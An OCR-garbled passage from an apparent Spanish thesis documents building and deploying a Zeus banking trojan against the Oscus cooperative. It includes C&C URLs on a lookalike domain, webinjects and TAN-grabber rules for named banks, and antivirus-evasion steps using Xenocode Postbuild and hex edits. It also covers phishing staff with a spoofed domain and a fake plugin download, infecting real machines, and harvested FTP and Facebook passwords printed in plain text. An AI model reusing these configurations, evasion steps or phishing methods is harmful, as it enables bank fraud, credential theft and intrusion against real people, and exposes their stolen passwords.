url_server "http://oscus-coop.com/z4/gate.php*

file_webinjects "webinjects.txt"
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entry "AdvancedConfigs"
;"http://oscus-coop.com/z4/cfgl.bin"

end

entry "WebFilters"
"I* microsoft.com/*"
"Ihttp://[*myspace.com*"
"https://www.gruposantander.es/*"
"Ihttp://*odnoklassniki.ru/*"
"Ihttp://vkontakte.ru/*"
"Ihttp://*iess.gob.ec/*"
"Ihttp://*sri.gob.ec/*"
"Ihttp://*oscus.coop/*"
"Ihttp://*oscus-coop.com/*"
"Ihttp://*facebook.com/*"
"Ihttp://*produbanco.com/*"
"Ihttp://*pichincha.com/*"
"Ihttp://*helmbankusa.com/*"
"Ihttp://*bancoguayaquil.com/*"
"Ihttp://[*mercadolibre.com.ec/*"
"@*/login.osmp.ru/*"
"@*/atl.osmp.ru/*"

end

entry "WebDataFilters"
;"http://mail.rambler.ru/*" "passw;login”

end

entry "WebFakes"

;"http:/Avww.google.com™ "http://www.yahoo.com"

end
entry "TANGrabber"
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"https://banking.*.de/cgi/ueberweisung.cgi/*" "S3R1C6G" "*&tid=*"

"*&betrag=*"
"https://internetbanking.gad.de/banking/*" "S3C6" "*" "*" "KktNrTanEnz"
"https://www.citibank.de/*/jba/mp#/SubmitRecap.do” "S3C6R2"
"SYNC_TOKEN=*""*"
end

entry "DnsMap"
:127.0.0.1 microsoft.com
end

end

6.6.2.5 Andlisis del Archivo de Configuracion.

1) Configuraciones estaticas. Describe las acciones que ZeuS directamente realiza en
el equipo sin la inyeccion de otras herramientas o interferencia del usuario. Las
acciones pueden ser, robar contrasefias alojadas en el equipo, robar informacién del
caché, correos electrénicos, conversaciones de chat y mucho mas. Dentro de esta
seccion se encuentra la opcion url_config el cual es muy importante ya que a partir de
esta direccion IP es posible cambiar la configuracion dinamica que se mencionara
mas adelante.

a.timer_logs: Intervalos de tiempo para subir los logs al servidor

b.timer_stats: Intervalos de tiempo para subir estadisticas de infecciones al servidor
c.url_config; URL del servidor donde estara leyendo los archivos de configuracion
d.encryption_key: Llave de cifrado para la comunicacion entre la maquina zombi y
el servidor C&C.
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entry "staticConfig”
;botnet "btnd"
timer_config 60 1
timer_logs 1 1
timer_stats 20 1
url_config "http://oscus-coop. com/z4/cfg.bin"

url_compip "http://oscus-coop.com/z4/ip.php” 4096
encryEtiuﬂ_key "fuewuri38iuhee”
éb1ac 1ist_languages 1049

en

Figura 23 Static Config

Elaborado por: Investigador

2) Configuracion dinamica. La configuracion dinamica se refiere a las acciones que
ZeuS realizard mientras interactla con el usuario. Por ejemplo puede ser la
automatizacion de la descarga de un archivo y ejecutarla en el equipo, inyectar
codigos en péaginas de bancos robando las credenciales de acceso o utilizando
técnicas de ataque “man in the middle” inyectando contenidos dinamicos. ZeuS
necesita del url loader donde por lo regular se encuentra la mas reciente version de los
binarios y del url server donde direccionara el trafico descargado por el mismo,
conocido como “Command and Control Server”.

a.url_loader: URL donde se encuentra la Gltima version de la botnet ZeuS
b.url_server: Servidor C&C

c.file_webinjects.:Pardmetro que debe contener el nombre del archivo para la
inyeccion de codigo HTML en las paginas Web

d.AdvancedConfigs:URL donde buscara una copia del archivo de configuracion.

entry "DynamicConfig”
ur |_loader ”http:?fnscus—cunp.cumfz4fbt.exe”
url_server "http://oscus-coop.com/zd,/qgate. php”
file_webinjects "webinjects.txt”
entrﬁ "sdvancedConfigs
é“ ttp://oscus-coop. com/zd4,/cfgl. bin"
en

Figura 24 Dynamic Config.

Elaborado por: Investigador
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3) Webfilters. Contiene una lista de URLs que pueden ser monitoreadas para

capturar y robar credenciales.

entry "wWebFilters"
"1® microsoft.com/®"
"thttp://*myspace. com*"
"https://www. gruposantander.es/#"
“thttp://*odnoklassniki.ru/="
"thttp://vkontakte.ru/="
"lthttp://*1ess.gob.ec/*"
"thttp://*sri.gob.ec/*"
"lthttp://*oscus. coop/*"
"thttp://*oscus-coop. com/*"
“thttp://*facebook. com/*"
"thttp://*produbanco. com/*"
“!http:ff*ﬁichﬁﬂcha.cumf*“
“thttp://*nelmbankusa. com/*"
“!http:ff*baﬂcuguayaqui1.cumf*“
"thttp://*mercadolibre. com. ec/*"
“@*f1u?iﬂ.usmp.ruf*“
"@x/atl. osmp. ru/E

end

Figura 25 Webfilters
Elaborado por: Investigador
4)TANGrabber. TAN (Transaction Authentication Number) Grabber es una
caracteristica de Zeus que permite especificar a la botmaster sitios bancarios para
monitorear patrones especificos en busca de transacciones bancarias en sitios web.
Zeus buscaréa estos patrones y los enviara al C&C Server.
entry "TANGrabber"
"https://banking. *.de/cgi /ueberweisung.cgi/*" "s53R1CAG" "*&rtid=*"
"*&betrag=*"
"https://internetbanking. gad. de/banking/*" "s3cg" =" "
"KktNrTanenz"
"https://www. citibank. de/*/jba/mp#/submitrRecap. do" "53CER2"
"SYNC_TOKEN=®" "#"
end
Elaborado por: Investigador
5)DNSMap. Direcciona las peticiones a un sitio especificado.
entry "DnsMap"
:127.0.0.1 microsoft.com

end
end

Figura 27 DnsMap
Elaborado por: Investigador

En la seccion DynamicConfig se tiene el apartado de file_injects, donde se hace

referencia a un archivo llamado webinjects.txt que se encuentra en el mismo
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directorio, este archivo contienen el codigo que sera inyectado en las paginas web

para realizar el robo de credenciales.

De manera general el archivo webinjects consta de tres secciones:

1) set_url. Indica la pagina a la cual se realizara la inyeccion de codigo html
2) data_before. Indica antes de que texto inyectara el nuevo codigo html

3) data_after. Indica después de qué texto inyectara el nuevo cédigo html

4) data_inject: Codigo inyectado.

En este caso al visitar el sitio sri.gob.ec/* (el signo * representa cualquier texto o

Numero), antes del texto “<body*>"

set_url https://www.sri.gob.ec/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

Figura 28 Webinject
Elaborado por: Investigador

6.6.2.6 Archivo webinjects:
El archivo webinjects consta de mas de 69 entidades bancarias, se las modificé para
gue a mas de las paginas que vienen por defecto consten las entidades bancarias,

entidades del estado y la pagina de la cooperativa en si:

set_url https://www.oscus.coop/* GL
data_before
<table cellspacing="0" summary="page layout">

data_end
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data_inject

data_end

data_after

</table>

data_end

set_url https://www.iess.gob.ec/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

set_url https://www.sri.gob.ec/* GL

data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

set_url https://www.oscus-coop.com/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject
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data_end
data_after
</table>

data_end

set_url https://www.produbanco.com/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

set_url https://www.pichincha.com/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

set_url https://www.helmbankusa.com/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject
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data_end
data_after
</table>

data_end

set_url https://www.bancoguayaquil.com/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

set_url https://www.mercadolibre.com.ec/* GL
data_before

<table cellspacing="0" summary="page layout">
data_end

data_inject

data_end

data_after

</table>

data_end

6.6.2.7 Zeus Builder (revisar el aplicativo)
Zeus Builder es un aplicativo que permite de configuracion con el que se procedio a
crear los archivos config.bin (este archivo contiene los parametros del hosting, bases

de datos, usuarios, que anteriormente se configurd en el archivo config.txt ), después
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de obtener éste archivo se procedio a obtener el archivo bt.exe mediante el botdn
Build the bot executable.

-! 7sb

Information Builder
Source configuartion file:
Settings

C:'config. txt [ Browse. .. ] [ Edit.... ]

Actions
[ Build the bot configuration ] [ Build the bot executable ]

Figura 29 Zeus Builder
Elaborado por: Investigador

Creacion de los archivos config.bin y bt.exe(virus)
Para la creacion del archivo config.bin se busco el archivo config.txt mediante el
botdn browse y se presiono el boton Build the bot Configuration obteniendo con este

proceso el archivo config.bin.
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config.bin 07/02/2013 9:45 Archivo BIN 35KB

| config 29/01/2013 20:56 Documento de tex... 2KB

g settings 12/03/2011 9:39 Opciones de confi... 1KB

| webinjects 29/01/2013 18:58 Documento de tex... 72KB

| -! z=b 12/03/2011 9:39 Aplicacion 87 KB

T meEme
Information Builder

Source configuartion file:

Settings
Cr\Zeus 2.0.8.9Vzeus 2.0.8.9%builder\config. tet

Actions
[ Build the bot configuration J l Build the bot executable ]

109=https:/fwww.nwolb.com/Login.asp™ o
110=https:/fhome2ae.cd. citibank. ae/Capp\WebAppAE jproducttwo fcapp/facti
onfsignoncg.do

111=https:/finternetbanking.aib.ie/hb 1/roifsignon
112=https:/flot-port.bes.ru/names.nsf? #ogin®

113=*wellsfargo.com/=
114=https:/fweb.da-us.citbank.com/cgi-bin/citifijportal]l.do
115=https:/fweb.da-us.citbank.com)cgi-bin /dtifi/portal/l/autherror.do™

116 =https:/frupay.comjindex.php

117=https:/flight. webmoney.ru/default. aspx

118="banguepopulaire.T/*

119=http:/{*.0smp.ru/

120 =https:/fwww.uno-e.comflocal_bdnt_unoe/Login_unoe2,himl
121=https:/fwww.ccm.es/cgi-bin/INdient_6105

[m

BUILD SUCCEEDED!

Figura 30 Crear Cfg.bin y Bt.exe
Elaborado por: Investigador

é cfg.bin
.| webinjects.bt

7] bt.exe
] zsb.exe

Figura 31 Archivos Finales

Elaborado por: Investigador

Estos archivos se subi6 al hsoting mediante el cliente Filezilla, el archivo bt.exe es
comunmente conocido como server del virus y es ejecutado en sistemas operativos
Windows, algunas versiones se ejecutan solo en xp pero esta version se ejecutd en xp
y W7.

6.6.2.8 Analisis con Antivirus del Archivo Infectado.

Se escaned el archivo original (sin encriptarlo con Xenocode Postbuild) con avast.

Antivirus semostrd que es una amenaza.
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Avast

,@tuuust! ANALISIS - x

Mombre Fecha de modifica.. T .
g _ " "CAUsers\diego\Desktop\zzzeus z4\...\bt.exe" [MOSTRAR RESULTADOS
- bt Abrir i SEo  Analisis completo, jAMENAZA DETECTADA!
Cfg-biﬂ i . i Duracién del analisis: 0:00:00
- %) Ejecutar como administrador ) ) 1
config Archivos/carpetas examinados: /0 =
o Selucionar problemas de compatibilidad Cantidad de datos examinados: &0 KB
|| webinjects Archivos infectadas: 1
. W Analizar bt.exe
i 7sh . o ]
Hex Edit with Hex Workshop v6.7 .

Figura 32 Escaneo Archivo Infectado Avast.

Elaborado por: Investigador

Karspersky

Kaspersky Internet Security 2012

Abrir
! Ejecutar como administrador
Show how to open this file Archivo C\Users\diego\Desktop\bt.exe/bt.exe: contiene
Edit file type Troyano Trojan-5py.Win32.Zbot.gen.

Solucionar problemas de compatibilidad Detalles

¥u  Analizar en busca de virus Estd utilizando una aplicacién que no ha sido activada.

¥. Movera cuarentena Active la aplicacion.

Figura 33 Analisis Karspersky.
Elaborado por: Investigador

Escaneo del archivo online:
http://virusscan.jotti.org/es/scanresult/35a6ea41073bf52cf861b6b0dce362d0999f402
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Escaneador de virus de Jotti Otras informaciones

Nembre del bt.exe Tamafio del 88576 Bytes

archivo: archivo:

Estado: Listo el proceso de escanear. 18 de 21 malware avisado. Tipo del archivo: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Escaneando: mié 13 feb 2013 18:31:02 (CET) Su link de resultados MDS: 897a4c04dd6372a0868664c0142c2160

Proximo archivo LS

f97938c5f83deba51d9cald2a739e8042934d6cf

Escaneador

@ ArcaVllir  2013-02-13 No se encontré nada @FPROT  z013-02-13 W32/Zbot.V.gen!Eldorado
2013-02-13 Win32:Zbot-MYU ¢ F-Secure. z013-02-13 Gen:Trojan.Heur.Zbot.fmW@c4qoypg
@l AVG  20i3-02-13 unknown virus Win32/DH.FF8402A2{ NHkeEwBDZwk} G DATFA :z20:3-02-13 Gen:Trojan.Heur.Zbot.fmW@cdqoypg
(X AnliVir  2013-02-13 TR/Crypt.ZPACK.Gen GIKARUS 2013-02-13 Trojan-Spy.Win32.Zbot
(& bitdefender  2013-02-12 Gen:Trojan.Heur.Zbot.fmW@&c4gqoypg KA[PIRYICY S 2013-02-12 Trojan-Spy.Win32.Zbot.gen
@@ ClamAV  2013-02-13 Trojan.Spy.Zbot-435 PANDA. 2020-0z-08 Trj/Sinowal.XGV
@ﬂxw—w 2013-02-13 Troj.PSW.W32.Delf.oc Quick Heal 2013-02-12 No se encontré nada
ESIBRWER 2013-02-13 Trojan.Packed.194 SOPHOS z0:3-02-13 Mal/Behav-353
m 2013-02-13 Gen:Trojan.Heur.Zbot.fmW&c4qoypg HE VBA32 2013-02-13 BScope.Malware-Cryptor.Win32.Vals.21
2012-02-12 Win32/5py.Zbot.JF JirusBuster 2013-02-13 No se encontré nada

FEIATINET  2012-02-12 W32/Zbot.gen'tr

Figura 34 Escaneo Online

Elaborado por: Investigador

Como podemos ver en esta pagina de escaneo online la mayoria de los antivirus lo
detectan, como siguiente paso vamos a intentar hacer el archivo indetectable

mediante la utilizacion de software.

6.6.2.9 Hacer indetectable a Zeus.

Como éste es un virus que se propaga a nivel mundial, los antivirus han tomado ya
sus precauciones para que él mismo sea detectado y eliminado. Para hacer éste
proceso se utilizdé dos programas que permitieron encriptar el server bt.exe

En este momento el ejecutable de Zeus es facilmente detectable por los antivirus y
cualquier intento de intromision la bloguea, para que los antivirus no la detecten se
modificara la botnet con un compilador llamado Postbuilder, le y afiadimos el archivo

bt que creamos anteriormente.
6.6.2.10 Xenocode Postbuild

Es un conjunto de productos de software y servicios desarrollados para el Cédigo de

sistemas de virtualizacion de aplicaciones, creacion de aplicaciones portables, y la
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distribucién digital. Estas herramientas se pueden utilizar para empaquetar las
aplicaciones convencionales de software para Microsoft Windows en un formato de
aplicacion portatil que se puede entregar a través de un unico ejecutable o enviados a

través de la web.

Ay st JEIEECISIN o Protet 7 optimize .:vaa

Applicaton
Select the application assemblies: )

File Type Version (Culture) Public Key Token Source Path
- =
I » zeus 1301221 » ZeusBuilder » zeus Buscar zeus |
Organizar v Nueva carpeta =y 0 @
e ~ Nombre Fecha de modifica... Tipo
bt 2/01/20132226 __ Aplicacién
B Escritorio b 28/12/20091616  Aplicacién
] Sitios recientes
4 Bibliotecas
[ Documentos  |=
=] Imagenes
Add.. Remove J Masica
the b ch best B videos
1% Equipo
‘_ €4 Red ~ < 1 ]
pplication at run-time. Nombre: bt Executable files (*.exe, *.dll)
[ aeic |4 [ Cancelar ]
-

Serial Number: ]

Figura 35 Xenocode Postbuild.

Elaborado por: Investigador

En preset se eligio Aggressive — Recommended for managed excecutable application,

luego presionamos en Apply y finalmente en Build Application:
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=
. o . F
[P VEC |- Applicaton [ JLEE 7% optimeze ».l \-’irtuallze Output

Application

Select the application assemblies:

File Type Version (Culture) Public Key Token Source Path
bt.exe Native 32-bit executable C:\Users\diego\Desktoplzeus 130122_1...

Add... Remove Scan Dependencies

Select the option below which best describes yaur application:

preset: | Hggressive- Recommended for managed executable sppicabions =] [ 2oy

Product Identification

This information is securely embedded into watermarks within the internal structures of the assembly. It may be used for license management or

accessed by the application at run-time. =

B
-1
o
o
n
7]

Application Mame: ‘

User Name: ‘

0

0
o

Serial Number: ‘

o

[ Decode Froduct Identification From Assembly..

0

(,\EraviawMetadaz 'E-.\\ Publish Toweb = Build Application

Figura 36 Build Application.

Elaborado por: Investigador

De esta manera se obtuvo un archivo ejecutable modificado.
Después se abrid el archivo que se guardd con Hex Workshop v6, que nos servira

para modificar el codigo binario del virus y hacerlo indetectable.

6.6.2.11 Hexwokshop

Un editor hexadecimal (o editor de archivos binarios o editor byte) es un tipo de
programa informatico que permite al usuario manipular el binario fundamental (0/1,
cero / uno) los datos que componen los archivos de computadora. 'Hex' EI nombre
viene del hecho de que es el formato hexadecimal estdndar numérico de los datos
digitales en una pantalla durante la edicion de este nivel. Un archivo de computadora
tipica ocupa mdaltiples areas en la fuente (s) de una unidad de disco, cuyo contenido
se ponen juntas para formar el archivo. Editores hexadecimales que se han disefiado
para leer ("parse") y editar los datos del sector de los segmentos fisicos de disquetes o

dificil a veces fueron llamados editores de sector o editores de disco.
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10 00 00 00 0D 00 00 00 00 00 00 00 58 FO DL 00 28 00 00 00 80 10 02 00 E4
DO 00 0D 00 GO 00 00 00 Q& 0° 00 00 0O 00 00 DO DO 00 00 03X D AB 01 00 08
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i e e T o
Figura 37 Hexworkshop.

Elaborado por: Investigador

Una vez aqui damos click derecho y elegimos ->find ->find, nos aparecera una

pantalla y ponemos los siguientes valores:

Criteria

Find ‘wWhat:

Tupe: | Test Sking

Walue: | copyright]

Hes: |838F 7079 7269 6768 74 |

Options Diirection
I Find &l Instances [ Match Case O Up
(%) ASCIl String () Down
(O Unicode Sting

) Either

I Aceptar I [ Eancelar] Aplicar

Figura 38 Cambiar valores Hexworkshop
Elaborado por: Investigador
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Marcamos y lo convertimos a cero, luego buscamos la parte que dice apliance y
marcamos desde este punto hasta antes de dll y pulsamos - >fill y convertimos a
ceros, guardamos los cambios y salimos.

De esta manera obtuve el archivo sin infectar.

6.6.2.12 Analisis con Antivirus del Archivo Modificado (Sin infectar).

.
,@tﬂuﬂal! ANALISIS - x

b= "C:\Users\diego\Desktop\bt.exe"
), Anélisis completo, NO SE HA DETECTADO AMENAZA
—
Abrir
Duracién del anilisis: 0:00:00
I%I Ejecutar como administrador Archivos/carpetas examinados: 1/ E
-
h . Cantidad de datos examinados: 4107 KB
Show how to open this file Archivos infectados: 0
Edit file type
Solucionar problemas de compatibilidad

!

Figura 39 Escaneo Archivo sin Infectar Avast
Elaborado por: Investigador
Encontré una pagina en internet donde se sube el archivo y se lo envia a escanear con
diferentes antivirus, el link es el siguiente:
http://virusscan.jotti.org/es/scanresult/35a6ea41073bf52cf861b6b0dce362d0999f40f2

y me boto los siguientes resultados:

Escaneador de virus de Jotti Otras informaciones

Nombre del bt.exe Tamafio del 131072 Bytes

archivo: archivo:

Estado: Listo el procesc de escanear. 5 de 20 malware avisado. Tipo del archivo: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Escaneando: mié 13 feb 2013 18:15:58 (CET) Su link de resultados MD5: d447be35484f02b253a9d8250fa96c97

SHAL: ec18df72bade3cazbfleff584f2ca0eaBdBad2fh

Préximo archivo

Mobile Barcode Reader SDK
vwv. 3GVision.com/SDKMain.html
The best 10/2D barcode SDK OF
Data Matrix, EAN and

Escaneador

@ ArcaVir  2013-02-13 No se encontré nada @FPROT  2013-02-13 No se encontré nada

@l AVG  2013-02-13 No se
R ANV  2013-02-13 TR/Dr

da “~ F-Secure. 2013-02-13 No

da GDATA :013-02-13 No

SHAKARUS  2013-02-12 Troj

(& bitdefender 5013-02-13 No se da KAJPIR{ICY £ 2013-02-13 No se e
@ Clam AV 2013-02-13 PUA.Win32.Packer.XenocodeVirtual PANDA z020-02-08 No se e

©

2013-02-13 BackDoor.W32.Bifrose.dx Quick Heal 2013-02-12 No se encontré nada

B 2013-02-13 No se encontré nada SOPHOS 2013-02-12 No se encontré nada
m 2013-02-12 No se encontré nada B VBA32 z013-02-12 Trojan-Spy.Win32.Agent.byc
(Em 2013-02-13 No se encontré el escaner JirusBuster 2013-02-13 No se encontré nada

FEIRTINET  2013-02-13 No se encontré nada

Figura 40 Escaneo de archivo Online
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Con 21 escaneadores de virus online 5 encontraron adn rastros d malware en el

archivo.
Los archivos cfg.bin y bt.exe se los debe subir al hosting, nuevamente utilicé filezila

para poder subirlos.

Contragefia: Puerto: tl

164,142,57)

Sitio remoto: | fz4 -

=

MNembre de archivo Tamafio de archive  Tipo dearc...  Ultima medific.. Permisos *

. system arpeta de... -01-
y Carpeta d 2013-01-30 21 0777
| theme Carpeta de...  2013-01-30 21:... 0755 E
Raart.png 68,810 Imagen PNG 2013-02-0419:... 0644
% bannerg.gif 6,952 Imagen GIF  2013-02-041%:... 0644
5 bt.exe 420,547 Aplicacion  2013-02-0419:.. 0644
& cfg.bin 36,181 VLC media.. 2013-01-3021... 0644

Figura 41 Archivos en Hosting.

Elaborado por: Investigador

6.6.2.13 Comprobacion de infeccion en maquinas virtuales y en maquinas
reales.

El archivo ya indetectable con los pasos realizados anteriormente lo puse a prueba en

tres maquinas virtuales y en una maquina real, ésta Gltima maquina perteneciente a mi

actual trabajo.

En el grafico siguiente en el apartado de Bots, se especifican el nimero de bots que

se tiene al momento.
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' CP :: Bots x Y

CP :: Bots b4 ‘

<« C' | [} oscus-coop.com/z4/cp.php?m=botnet_bots&bots=&botr

Information:

Current user: admin
GMT date: 17.02.2013
GMT time: 19:45:59

Bots: NAT status: El
Statistics:
z Eotnets: Online status: El
ummary
os IP-a2ddresses: Install status: El
. Used status: El
Botnet: Countries:
Comments status: | -
— Bots El
Scripts
Reports:

Search in database
Search in files

Jabber notifier

System:
Information
Options
User

Users

Logout

Bots action: | Full information Izl E

L T S 22 B e e e s
D 1 andres_0002912a - default -- 1.2.7.19 186.47.253.192% -- 0.000 -

D 2 andy_287948a5b7_0002863d -- defzult -- 1.2.7.1% 150.110.202.220% -- 0.000 -

D 3 diego_7c0aacf63_0012b907 -- defsult-- 1.2.7.1% 181.112.6.181% Eaa 0.000 -

D 4 ivan_008c0820 -- default -- 1.2.7.19 176.14.129,175% -- 00:35:42 0.000 -

D 5 jeakeline_00050cid -- default -- 1.2.7.15 130.110.202.230% -- S-imies 0.000 -

Figura 42 Maquinas Infectadas

Elaborado por: Investigador

En éste grafico se muestra:

Bot Id: Que es un id que el zeus le da a la pc infectada.

Version: es la version de zeus que se utilizo.

Ip Version 4: Es la direccon ip de la maquina infectada.

Online Time: Es el tiempo que la pc infectada se encuentra online.

Como se observa en la grafica un equipo se encuentra Online, por alrededor de ya

unos 35 minutos.

Las tres primeras maquinas son las pruebas realizadas en maquinas virtuales, las dos

siguientes: jeakeline e ivan son maquinas reales.

Jeakeline es una pc de mi trabaj6 actual, mientras que ivan es una pc que se infectd

por otros medios, para saber de dénde proviene esta pc realicé un tracert a ésta

direccion ip y obtuve los siguientes resultados:
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6.6.2.14 Tracert

C:sUsers>cd..

C:wrtracertcls
"tracertcls" no se reconoce como wun comando interno o externo.
programa o archivo por lotes ejecutahle.

C:s>tracert 176.14.129.175

Traza a 176.14.129.175 sobre caminos de 3@ saltos como maximo.

ns ms ms 192.168.168.1

ns ms ms 192.168.1.1

ns ms ms 186.46.224.1

ns ms ms 186.46.4.182

ns ms ms 186.46.4.73

ns ms ms 186.46.4.37

ms ms mz 186.46.4.145

ms ms ms 186.46.4.81

ns mns ms 1908.152.254.129

ms ms ms 19@.152.252 286

ns mns ms 198.152.251.113

ns ms me nyk-h5-link.telia.net [88.239.174.51

ns ms ms nyk-bhZ-link_telia.net [213.15%5.135_781

ns ms ms kbn—-bb2-link.telia.net [88.91.247.281]

ns ms ms s—bhhZ2-link.telia.net [213.248.65.1651

ns ms ms s—h2-link.telia.net [213.155.133.1431
ms me vimpelcom—ic-156241—=s-h2.c.telia.net [213.248_91

ms ms hg—hbh-he?._.corhina.net [195.14.54_.2531
Tiempo de espera agotade para esta solicitud.
ms ms 176.14.129.175%

Traza completa.

G

Figura 43 Tracrt
Elaborado por: Investigador

Lo que nos indica que la pc o usuario ivan que se infectd pertenece al dominio
corvina.net.
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6.6.2.15 Reportes botnet Zeus.

Historiales.

Bots action: | Full information EI [ S ]

29.01.2013

andres_0002912a
-, 186.42.236.204

[+] ftp://oscus@mentesinguietas.net:oscus12zeuS@E6.147.242,164:21)

[+] ftp:/foscus@mentesinguistas.netioscus12zeusS@e6.147.242,.164:21)
[+] ftp://oscus@mentesinguietas.netioscus12zeusS@E66.147.242.164: 21/

30.01.2013

andres_0002912a
-, 186.42.236.204

ftp://oscus@mentesinquietas.net:oscus12zeusS@e6. 147,242, 164: 21/
ftp://oscus@mentesinquietas.net:oscus12zeusS@e6. 147,242, 164: 21/
ftp://oscus@mentesinquietas.net:oscus12zeuS@66.147.242.,164: 21/
ftp://oscus@mentesinquietas.net:oscus12zeuS@E66.147.242,164: 21/
ftp://oscus@mentesinquietas.net:oscus12zeuS@66.147.242,164: 21/
ftp://oscus@mentesinquietas.net:oscus12zeuS@66.147.242,164: 217
ftp://oscus@mentesinquistas.netioscus12zeuS@66.147.242,164: 21/
ftp://oscus@mentesinquistas.netioscus12zeuS@66.147.242,164: 21
ft,

[+]
[+]
[+]
[+]
[+]
[+]
-
[+] ftp://oscus@mentesinguietas.netioscus12zeuS@e6.147.242.164:21/

31.01.2013

andy_287948a5h7_0002863d
--, 186.47.253.192

retected Storage

rotacted Storage
https://wwean.facebook.com/login.php?login_attempt=1
https://wwoan.produbanco.comy/GFPNetSeguro/Default.aspx?gsCanal=
https://wwoan.produbanco.com/GFPNetSeguro/Default.aspx?gsCanal=




02.02.2013

jeakeline_00050c1d
--, 190.110.202.230

[+] Protected Storage
[+] Protected Storage

05.02.2013

diego_7claacf63_0012bo07
--, 181.112.6.181

[+] Protected Storage

Figura 44 Historiales.

Elaborado por: Investigador
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Zeus ademas actlia como un keylogger es decir registra todo lo que el usuario teclea
en su maquina, de ésta manera obtuve el historial de las maquinas.

Aqui un ejemplo de lo que guarda en el historial de internet.

6.6.2.16 Historial de Facebook.

View report (HTTPS request, 372 bytes)

Bot ID: andy_287948a5b7_0002863d

Eotnet: -- default --

Version: 1.2.7.19

05 Version: XP Professional SP 3, build 2600

05 Language: 3082

Local time: 30.01.2013 22:20:35

GMT: -5:00

Session time: 00:15:30

Report time: 31.01.2013 03:20:54

Country: ==

IPwd: 186.47.253.1582

Comments for bot: =

In the list of used: No

Process name: Ci\Archivos de programal\Internet Explorer\ IEXPLORE.EXE
User of process: ANDY-287945A5B7 \Administrador

Source: https://vawaw.facebook.com/login.php?login_attempt=1

htcops://www.facebook. com/login.php?login_attempr=1

Referer: https://www.facebook.com/
Eeys: sfoscussistemasoscus-coopopp.cpomsistemasTES®
Data:

1sd=AVrZuewb
email=sistemasf@oscus-coop.Ccom
pass=sistemasTE9*
default persistent=
charset_test=3E23%82
timezone=300
lgnrnd=192005 Gnjz
lgnjs=1359602413
locale=es LA

o]
FLC32CEC2%B432C3E23E23RC22C2C2304%20C3E0%B0304%2C3D0%2432C%D0%E4

Figura 45 Robo de Informacion en Facebook.

Elaborado por: Investigador

Como se puede observar roba la informacion de la pagina en Facebook.

Email: sistemas@oscus-coop.com.

Pass: sistemas789*

En la figura anterior se da una clara muestra de lo facil que es obtener informacion,
no solo de esta tan utilizada red social, sino mas bien como ya se mencion6
anteriormente la Botnet Zeus nacio6 con el proposito de obtener informacion de tipo

bancaria.
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6.6.2.17 Envio de Correos a los usuarios de la cooperativa Oscus. Ltda.
Por la naturaleza de negocio de la empresa, el intento de infiltracion de malware se lo
hizo mediante el envio de correos electronicos simulando que el correo viene de una
direccion conocida e incitando al personal de la empresa a que visite un sitio web
alojado en un hosting que adquiri anteriormente.
Este tipo de prueba no se lo puede hacer en un hosting gratuito pues éstos
inmediatamente detectan los archivos que anteriormente subimos al hosting como
malware o virus, por ello adquiri un hosting de pago para realizar las pruebas, pues en
el mismo yo tuve acceso total a lo que son las bases de datos, permisos a carpetas,
etc.
Para simular que el correo era propio de la cooperativa de igual manera adquiri un
dominio parecido al de la cooperativa:

Dominio de la cooperativa: oscus.coop

Dominio Adquirido: oscus-coop.com.

6.6.2.18 Disefio Pagina Web

Macromedia Dreamweaver.

Adobe Dreamweaver es una aplicacion en forma de suite (basada en la forma de
estudio de Adobe Flash) que esta destinada a la construccion, disefio y edicion de
sitios, videos y aplicaciones Web basados en estandares. Creado inicialmente por
Macromedia (actualmente producido por Adobe Systems) es el programa mas
utilizado en el sector del disefio y la programacion web, por sus funcionalidades, su
integracién con otras herramientas como Adobe Flash y, recientemente, por su
soporte de los estandares del World Wide Web Consortium.

Para simular la pagina de la cooperativa oscus.coop utilicé adobe Dreamweaber flash

player.
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J DREAMWEAVER

Haga dic en esta pantalla para continuar.
Figura 46 Macromedia Dreamweaver

Elaborado por: Investigador

En Macromedia Dreamweaber se afiadié un botén de tipo plugin, de esta manera
cuando accedan a la pagina web encontrardn un boton que dira instalar plugin, este
botdn estd configurado para que cuando lo presionen se guarde el archivo bt.exe y
luego el usuario lo ejecute, de esta manera la pc del usuario se contagiara con la
botnet Zeus.

Las imagenes que se muestran a continuacion se las copid y editd de la péagina de

osus.coop.

| Macromedia
Acchivo Edicion Ve Insertar Modficar Teto Comandos Stio Ventana Ayuda
i

Comin v RELLEEE--BRQBD-F

index.php -8x

. | 2] Codoo [ S Dvide | 3 Disefio| L5 Tudo: CoOPRATIVA OSCUS e NG CEB
o ==

S0 Sto-osas_web (C:\isersideg
B baragng
B bera2ong
@ botionrset

(=Y , OSCUS

OOPERATI\,A E CRFO Y CREDITO LTDA.

S

Frio e

o e i i

Figura 47 Disefio Oscus Pagina web

Elaborado por: Investigador
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Configuracion boton plugin.

([eLE B &)
5@ riach

# Boton Flash
@ Texto Flash
®% FlashPaper
@ Flash Video

[

el

by Shockwave

> Applet

3 EEE param
A% ActiveX

Pug-in |

—

Insetar botén Flsh

Mugstra:

Estilo:

Texto del botdn:

Fuente:

Vinculo:

Destina:

Color de fondo:

Guardar como:

Button Text

Beveled Rect-Blue

Aceptar
Aplicar

Cancelar

Obtener mas estilos. ..

Ayuda

Instalar Plugin

Verdana - Tamafio:

plugin.exe

I
o

button1,swf

Examinar...

Examinar...

Figura 48 Configuracion Boton

Elaborado por: Investigador

Como paso siguiente se procedid a subir el archivo, y todos los cambio realizados y

posteriormente los subi al hosting.

Archive Edioén Yer Lramsferencia Senador hlarcad

[ 4- PP e v B &g (T4

res Aguda

o avchivos. Tamano votat 1,716 bytes

Drecei..

pert: Genessén ripaa |
Tameho desrchvo Tipodemc.. Uens modii.. Permees

A8 Shockwme.. M13420425. 0644
1622 Shockwme., 3130204 25, 054

3 kome  WIB0204ZE. 06H
DD Imagen PEG N3OS 06
1169 Archivo PHP 20130204 2. 0644
2818 Imagen PEG M2 25 G6M
